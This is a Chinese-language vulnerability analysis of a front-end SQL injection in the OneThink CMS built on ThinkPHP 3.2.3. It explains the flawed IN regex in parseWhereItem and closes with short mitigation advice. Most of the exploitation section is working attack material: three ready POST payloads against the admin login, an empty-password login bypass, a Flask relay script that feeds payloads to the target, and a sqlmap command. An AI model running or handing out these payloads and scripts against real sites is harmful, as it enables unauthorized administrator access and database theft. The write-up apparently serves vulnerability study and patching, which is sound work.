OneThink前台注入分析
字数 788 2025-08-22 12:23:47
OneThink前台注入漏洞分析与利用
漏洞概述
OneThink是一款基于ThinkPHP框架开发的内容管理系统。在版本低于1.1.141212的OneThink中,存在一个前台SQL注入漏洞,攻击者可以利用该漏洞绕过后台登录验证,获取管理员权限。
漏洞分析
注入点定位
漏洞位于ThinkPHP 3.2.3框架的数据库查询逻辑中,具体在Model.class.php和Db.class.php文件中。
关键代码分析
- where条件处理 (
Model.class.php):
public function where($where,$parse=null){
if(isset($this->options['where'])){
$this->options['where'] = array_merge($this->options['where'],$where);
}else{
$this->options['where'] = $where;
}
return $this;
}
- SQL语句构建 (
Db.class.php):
protected function parseWhereItem($key,$val) {
$whereStr = '';
elseif(preg_match('/IN/i',$val[0])){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
}
}
// 其他条件处理...
}
漏洞成因
- 正则表达式
/IN/i没有使用^和$定界符,导致xxINxx这种形式也能通过判断 val[0]在IN后面可以构造任意内容,后续拼接导致SQL注入
漏洞利用
三种注入方式
- IN注入:
POST /index.php?s=/admin/public/login.html
username[]=in ('')) and (select 1 from (select sleep(4))x)--+-&password=2&verify=0x401
实际执行SQL:
SELECT * FROM `onethink_ucenter_member` WHERE ( `username` IN ('')) AND (SELECT 1 FROM (SELECT SLEEP(4))X)-- - () ) LIMIT 1
- EXP注入:
POST /index.php?s=/admin/public/login.html
username[0]=exp&username[1]=>(select 1 from (select sleep(3))x)&password=2&verify=0x401
实际执行SQL:
SELECT * FROM `onethink_ucenter_member` WHERE ( (`username` > (select 1 from (select sleep(3))x)) )
- BETWEEN注入:
POST /index.php?s=/admin/public/login.html
username[0]=BETWEEN 1 and ( select 1 from (select sleep(2))x)))--+-&username[1]=&password=2&verify=0x401
实际执行SQL:
SELECT * FROM `onethink_ucenter_member` WHERE ( (`username` BETWEEN 1 AND ( SELECT 1 FROM (SELECT SLEEP(2))X)))-- - '' AND null ) ) LIMIT 1
登录绕过分析
- 登录流程:
public function login($username, $password, $type = 1){
$map = array();
$map['username'] = $username;
$user = $this->where($map)->find();
if(is_array($user) && $user['status']){
if(think_ucenter_md5($password, UC_AUTH_KEY) === $user['password']){
return $user['id'];
}
}
}
- 密码验证绕过:
function think_ucenter_md5($str, $key = 'ThinkUCenter'){
return '' === $str ? '' : md5(sha1($str) . $key);
}
- 当密码为空时,加密结果也为空
- 因此只需构造
password=即可绕过密码验证
- 完整利用:
- 使用联合查询构造11个字段(匹配
onethink_ucenter_member表结构) - 设置
status=1确保用户可用 - 设置
password=''以匹配空密码加密结果
自动化利用
Flask转发脚本
from flask import Flask,request,jsonify
import requests
def remote_login(payload):
burp0_url = "http://one.think:80/index.php?s=/admin/public/login.html"
burp0_headers = {"User-Agent": "Mozilla/5.0", "Accept": "application/json"}
pay = ") =' {} ')-- -".format(payload)
burp0_data = {"act": "verify", "username[0]": 'exp', "username[1]": pay, "password": "", "verify": ""}
resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False)
return resp.text
app = Flask(__name__)
@app.route('/')
def login():
payload = request.args.get("id")
response = remote_login(payload)
return response
if __name__ == '__main__':
app.run()
SQLMap使用
python sqlmap.py -u http://127.0.0.1:5000/?id=1 --tech=B --dbms=mysql --batch
防御措施
- 升级到OneThink 1.1.141212或更高版本
- 在
parseWhereItem函数中:- 添加严格的正则匹配
/^IN$/i - 对输入参数进行严格过滤
- 添加严格的正则匹配
- 使用预处理语句
- 对用户输入进行转义处理